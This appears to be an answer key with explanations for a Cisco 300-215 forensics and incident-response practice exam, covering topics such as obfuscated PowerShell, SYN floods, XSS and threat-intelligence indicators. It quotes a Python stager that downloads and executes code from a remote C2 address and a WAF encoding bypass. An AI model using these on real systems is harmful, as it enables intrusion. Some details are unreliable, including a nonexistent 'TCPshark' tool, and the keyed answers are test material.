Cisco 300-215 Conducting Forensic Analysis and Incident Response Using Cisco CyberOps Technologies (CBRFIR) Exam Practice Test

When dealing with suspected malicious activity involving obfuscated PowerShell scripts—especially when launched from Microsoft Word documents—behavioral analysis is the most critical next step. This approach helps in determining if the process chain is part of a known attack pattern, such as a phishing attempt using malicious macros that launch PowerShell for data exfiltration or payload download.

As highlighted in theCyberOps Technologies (CBRFIR) 300-215 study guide, understanding behavior and deobfuscating PowerShell scripts is an essential part of the forensic and incident response process. Specifically:

During the detection and analysis phase, if PowerShell is used with obfuscated or encoded commands, responders should investigate the intent and behavior of the command.

Deobfuscation allows analysts to see what the script is doing (e.g., downloading files, creating persistence mechanisms, or opening a reverse shell).

The guide states:

“For example, if the threat is malware, the compromised system should be immediately isolated and the malware should be placed in a sandbox or a detonation chamber to understand what it is trying to do”.

This confirms that understanding execution behavior (such as what the PowerShell script intends to perform) is key to uncovering indicators of compromise (IoCs).

Thus, option C—conducting a behavioral analysis and deobfuscating PowerShell—is the most critical and effective response at this stage.

In the provided Wireshark capture, we see multiple TCP SYN packets being sent from different source IP addresses to the same destination IP address(192.168.1.159:80)within a short time window. These SYN packets do not show a corresponding SYN-ACK or ACK response, indicating that these TCP connection requests are not being completed.

This pattern is indicative of aSYN flood attack, a type of Denial of Service (DoS) attack. In this attack, a malicious actor floods the target system with a high volume of TCP SYN requests, leaving the target's TCP connection queue (backlog) filled with half-open connections. This can exhaust system resources, causing legitimate connection requests to be denied or delayed.

Thecountermeasurefor this scenario, as highlighted in theCyberOps Technologies (CBRFIR) 300-215 study guideunderNetwork-Based Attacks and TCP SYN Flood Attacks, involves:

Increasing the backlog queue: This allows the server to hold more half-open connections.

Recycling the oldest half-open connections: This ensures that legitimate connections have a chance to be established if the backlog fills up.

When Web Application Firewalls (WAFs) are configured to block specific patterns (like${), attackers may bypass this using URL encoding (e.g.,%24%7B). In such cases, the WAF must decode these patterns before applying matching rules. EnablingURL decodingensures the WAF recognizes encoded payloads and applies protections appropriately. This is a recommended hardening strategy against bypass techniques for command injection and remote code execution.

Fileless malwareoperates in memory and often leverages legitimate tools such asPowerShellto avoid traditional file-based detection. Since these threats don't leave typical file traces, analysts must rely onPowerShell event logsto trace suspicious or unauthorized script execution.

The Cisco CyberOps Associate guide explicitly states:

“PowerShell logs provide insight into script block execution and can reveal indicators of fileless attacks that reside in memory.”

Hence,PowerShell event logsare the most effective forensic source for detecting fileless malware activity on Windows systems.

Theroot cause analysisin incident response focuses on identifying theinitial trigger or root causeof the incident to understand how it started and how to prevent recurrence. In this scenario, thephishing email sent to the victim(A) is the initial trigger that led to the employee’s action of clicking the malvertising link, resulting in the malware download.

The other options represent later stages in the incident response cycle, such as detection (SIEM alert, cybersecurity team’s alert) or supporting evidence (email header information), but they do not address the root cause, which is thephishing email itself.

This aligns with theCyberOps Technologies (CBRFIR) 300-215 study guide, which states that identifying theinitial vector of compromiseis critical to theroot cause analysisphase of incident response (Chapter: Incident Response Techniques, page 410-412).

A disassembler is a forensic and reverse engineering tool that translates machine-level code (binary) back into human-readable assembly language. This is used during static malware analysis to understand how the malware is constructed and what it is designed to do without actually executing the code.

According to theCyberOps Technologies (CBRFIR) 300-215 study guide, “Disassembler tools are used to assist with reverse malware engineering by allowing a security professional to examine the binary and understand the functionality of the malware code”.

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According to theCyberOps Technologies (CBRFIR) 300-215 study guide, during thepost-incident activityphase, it is critical to analyze lessons learned and update processes to ensure quicker and more efficient response in the future. Specifically:

Introducing a priority rating for incident response workloads(A) helps address the issue of team members being occupied with other tasks and unable to prioritize abnormal system activity. This ensures incidents are handled based on severity, not just workload.

Creating an executive team delegation plan(D) addresses the issue of delays due to unavailability of management for approvals. It ensures alternative decision-makers are available for swift action.

These strategies are based on the NIST SP 800-61 Rev. 2 recommendations and are highlighted in the Cisco guide’s post-incident activity phase (page 418), which emphasizeslessons learnedand how to reduce detection and response times for future incidents.

Generic Routing Encapsulation (GRE) is a tunneling protocol used to encapsulate a wide variety of network layer protocols inside point-to-point connections. If packets encapsulated with GRE are bypassing monitoring tools, it's likely due to tunneling—where payloads are hidden within another protocol. Tunneling can obscure malicious content or lateral movement in a network and is a common method used in data exfiltration.

A “malicious insider” is someone within the organization who has authorized access but intentionally misuses that access to extract or exfiltrate data. In this case:

The HR user has legitimate access but deviates from their normal behavior pattern (accessing legal data daily instead of monthly).

The presence of large data dumps and the alert from a threat intelligence platform suggest intentional misuse rather than accidental behavior.

According to the Cisco CyberOps Associate guide, insider threats are identified by behavioral anomalies, especially involving sensitive data access patterns inconsistent with role-based access and historical usage profiles.

Antiforensic techniques are methods attackers use to cover their tracks. According to the Cisco CyberOps curriculum, “obfuscation” refers to techniques such as encoding, encrypting, or otherwise disguising commands, payloads, or scripts to avoid detection and analysis. This is a standard antiforensic tactic used to prevent attribution and hinder forensic investigation.

Options like privilege escalation and authentication are part of attack vectors or access control and not antiforensic methods.

The exhibit shows a series of process executions that form a suspicious chain involving scripting engines and obfuscated commands:

One critical indicator iscmd.exe executing PowerShell with obfuscated (Base64-encoded) arguments. The use of Base64 is a known method used by attackers to mask malicious commands. This aligns with attack techniques defined under MITRE ATT&CK T1059 (Command and Scripting Interpreter) and T1086 (PowerShell abuse). Therefore, option D is valid.

Another important IOC isWScript.exe acting as a parent of cmd.exe, which is abnormal in typical business environments. This indicates potential misuse of Windows Script Host (WSH) to launch commands, often seen in phishing or malware dropper scenarios. Thus, option E is also valid.

Options A and B by themselves are not definitive IOCs—PowerShell and cmd.exe are legitimate administrative tools and frequently used in Windows environments.

Option C is not supported by the exhibit—the reverse (powershell.exe initiated by WScript.exe) is what's seen, not the other way around.

These patterns align with theCyberOps Technologies (CBRFIR) 300-215 study guide, which specifies that chaining of interpreters (e.g., WScript → cmd → PowerShell) with encoded commands is a key indicator of compromise during forensic analysis.

Process Explorer is an advanced Windows-based utility that shows real-time data about running processes, CPU usage, services, DLLs, and handles. It is specifically designed for this kind of investigation and is part of the Sysinternals Suite.

The command in the image usesschtasks /createwith theONLOGONschedule andSystemuser context to executetest.exe. This is a well-documented persistence technique, where an attacker ensures that a malicious executable is launched automatically at each system logon. This kind of scheduled task creation aligns with persistence techniques in the MITRE ATT&CK framework (T1053).

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The alert box in the screenshot ("HACKED BY 1337") is a classic sign ofCross-Site Scripting (XSS). This occurs when unvalidated input is executed as code in a browser.

To prevent this:

TheCisco CyberOps Associateguide recommendsstrict input validationas the primary defense against XSS and similar web-based injection attacks.

The described scenario includes both internal alerts (unusual network traffic, failed logins, suspicious file access) and external intelligence indicating active ransomware campaigns in the same industry. This constitutes a strong combination of precursors and indicators, as defined in the NIST SP 800-61 incident handling model and reinforced in the Cisco CyberOps Associate curriculum.

According to the Cisco guide:

“Once an incident has occurred, the IR team needs to contain it quickly before it affects other systems and networks within the organization.”

“The containment phase is crucial in stopping the threat from spreading and compromising more systems”.

Given these indicators and the high-value nature of the data involved, it is essential to proactively isolate suspected systems and activate the incident response plan to prevent damage from potential ransomware.

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The Python code snippet:

Usessocket.socket(AF_INET, SOCK_STREAM), which indicatesTCP communication

Connects to a remote server (192.168.1.10on port 80)

Sends a manual HTTPGETrequest

Receives the response usings.recv()

This is a classic example ofTCP/IP socket programming, specifically creating asimple TCP clientto communicate with a web server. It does not monitor traffic or crawl websites — it sends a crafted request and prints the response.

Thus, this code best fits:

D. socket programming listener for TCP/IP communication.

The use of repetitive patterns in images is a known indicator of steganography, which is an anti-forensics technique used to hide malicious code or files inside seemingly benign content such as image or audio files. The repetitive patterns suggest that the image may contain embedded hidden data. This technique is particularly difficult to detect through conventional scanning or antivirus software.

According to theCyberOps Technologies (CBRFIR) 300-215 study guide, steganography is defined as “concealing malicious content or instructions within ordinary files such as .jpg, .png, or audio files, allowing the content to bypass security filters and reach the target system without detection”.

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According to theCyberOps Technologies (CBRFIR) 300-215 study guidecurriculum, when analyzing suspicious behavior—especially when scripts or shell commands are executed from applications like Word (which is uncommon)—the encoded PowerShell payload must be decoded to determine if malicious intent is present. Deobfuscation is a critical step in identifying command-and-control behavior, persistence, or malware execution paths.

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The most relevant log for system-level events such as memory exhaustion and shutdown is/var/log/messages.log, which contains kernel and service-level logs including OOM (Out-Of-Memory) events.

As detailed in Linux investigations:

"Logs located in/var/log/messagesprovide critical system error reporting including shutdowns, memory errors, and service failures".

Hex Fiend is a hex editor that allows analysts to examine the raw byte content of files. One key use case is identifying and extracting byte-level patterns or signatures that can be translated into YARA rules for detecting malware. These hex patterns can be used to define precise signature-based detections.

TCPdumpis a CLI-based packet capture tool that is widely used for real-time traffic inspection and analysis on Unix/Linux systems.

TCPsharkis a variant CLI tool used similarly for packet analysis.

AlthoughWiresharkis a powerful network protocol analyzer, it requires a GUI. Therefore, it is not suitable for environments without a graphical interface.

The magic number (also known as a magic byte) is a sequence of bytes used to identify the format of a file. For PDF files, the standard magic number is:

25 50 44 46, which translates to%PDFin ASCII. OptionC(255044462d) begins with25 50 44 46, confirming it's a PDF file signature. This is a key forensic detail when performing file type identification and validation of potentially obfuscated or renamed files.

Comprehensive and Detailed Explanation:

The log entry contains the following key elements:

The timestamp:(04/Jan/2022:20:18:06 +0000)

HTTP method and URI:"GET /%60%60%60%60%60%60/ HTTP/2.0"

HTTP status code:404

User-Agent:Mozilla/5.0 ... Firefox/95.0

The status code404indicates that the requested resource was not found on the server. This is a standard HTTP response that signifies the server could not locate the requested URI (in this case, likely due to a malformed or invalid path/\`````/, where%60is the URL-encoded form of the backtick character "").

There is no clear evidence of SQL injection, WAF detection, or redirection in this log. The use of encoded backticks may suggest probing behavior, but the log does not show a definitive attack signature.

Therefore, the correct interpretation is:

Answer: D. The requested page was not found.

In phishing incidents, especially with successful lateral movement (land and expand), the most critical factor is usuallyweaknesses in email security systems—such as lack of advanced phishing detection, weak DMARC/DKIM/SPF policies, or insufficient user behavior monitoring. To prevent recurrence, the root cause analysis must focus on what allowed the phishing email to bypass defenses and how initial credentials were compromised.

This aligns with best practices from the Cisco CyberOps v1.2 Guide underEmail Threat Vectors and Security Control Weaknesses.

TheCisco Secure Firewall Threat Defense (Firepower)includes advanced capabilities such as intrusion prevention, URL filtering, and deep packet inspection. According to the CyberOps guide, it can detect and block C2 communications by analyzing traffic patterns and comparing them to threat intelligence data. The guide specifically states: "Advanced solutions such as Firepower provide detection capabilities for command and control (C2) traffic by identifying unusual outbound connections and behavioral anomalies".

Cisco Secure Malware Analytics (formerly Threat Grid) enables deep file behavior analysis, including TCP/IP stream analysis and behavioral indicators such as file system activity, process injection, registry changes, and command and control communication. These are essential in understanding what the suspicious file does post-execution, especially given the described behavior of creating a fake folder and outbound connection attempts.

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Volatility is an open-source memory forensics tool specifically designed for memory analysis. It allows forensic investigators to inspect memory dumps for running processes, hidden processes, injected code, and malicious activity in memory.

As per the Cisco CyberOps Associate study guide, “Volatility helps security professionals with both incident response and malware analysis. It can identify processes, registry artifacts, network connections, and memory-resident malware”.

While Memoryze (D) is also a memory analysis tool, Volatility is the more recognized, command-line driven tool used widely in industry and is directly highlighted in the curriculum.

Cisco Secure Endpoint (formerly AMP for Endpoints) offers features like:

File trajectory: to track file behavior and spread across endpoints.

Orbital Advanced Search: for querying endpoint data to detect threats in real time.

Ghidrais a free and open-source software reverse engineering (SRE) suite developed by the NSA. It includes disassembly, decompilation, and debugging tools specifically designed for analyzing malware and other compiled programs.

The Cisco CyberOps guide referencesGhidraas a top tool for reverse engineering binary files during malware analysis tasks, making it ideal for understanding malicious code behavior at a deeper level.

This Python script uses a combination of libraries (urllib,zlib,base64, andssl) to:

Disable SSL certificate verification (ssl.CERT_NONEandcheck_hostname=False).

Construct a custom HTTPS opener with the specified SSL context.

Add a forgedUser-Agentheader to mimic Internet Explorer 11.

Connect to the URLhttps://23.1.4.14:8443 .

Download and execute base64-encoded and zlib-compressed content from that URL using:

exec(zlib.decompress(base64.b64decode(...).read()))

This shows a classic example of:

Downloading payloads from a remote server (23.1.4.14:8443).

Avoiding detection by disabling SSL verification.

Executing the payload dynamically withexec()after decoding and decompressing.

The main goal is clearly to initiate a connection to a remote command-and-control (C2) server on port 8443 and download/execute additional code.

Hence, the correct answer is: A. Initiate a connection to 23.1.4.14 over port 8443.

To prepare a post-incident report, thecauseof the incident (what enabled it) and theeffect(what damage was done) are the primary components analyzed first. This allows teams to understand vulnerabilities exploited and the consequences, forming the basis for corrective action.

The Cisco CyberOps guide recommends beginning withroot cause analysisfollowed by impact assessment to guide future prevention strategies.

Comprehensive and Detailed Explanation:

Endpoint Detection and Response (EDR) tools provide behavioral analytics and continuous monitoring to detect malware such as backdoors, which is especially critical on endpoints like macOS devices. These tools are essential to detect post-compromise activities and contain threats before they spread.

Secure Email Gateway (e.g., Cisco ESA) plays a key role in blocking phishing emails—the initial vector in this attack. It uses filters and reputation analysis to prevent malicious links or attachments from reaching end users.

Incorrect Options:

C. DLP focuses on preventing data exfiltration, not phishing prevention or backdoor detection.

D. IPS is effective for known signature-based threats but less effective against phishing links and endpoint-level backdoors.

E. WAF protects web servers, not end-user devices from phishing or backdoor infections.

Therefore, the correct answers are: A and B.

Comprehensive and Detailed Explanation:

The exhibit contains STIX (Structured Threat Information Expression) formatted threat intelligence indicating:

A phishing indicator related to the domain:apponline-8473.xyz

Associated malicious IP addresses:164.90.168.78and199.19.224.83

Labelled as "malicious-activity" with "xfe-threat-score-10"

Based on this:

Option B is correct: The IP addresses explicitly listed in the pattern field should be blacklisted to prevent command-and-control or malicious connections.

Option C is correct: The domainapponline-8473.xyzis also listed and flagged as involved in phishing, so DNS and firewall rules should block access to and from this domain.

Options A and E are too broad or speculative; the data specifies a specific domain, not a generic block on all emails or URLs. Option D refers to a label used for classification and not a directly actionable item.

Therefore, the correct answers are: B and C.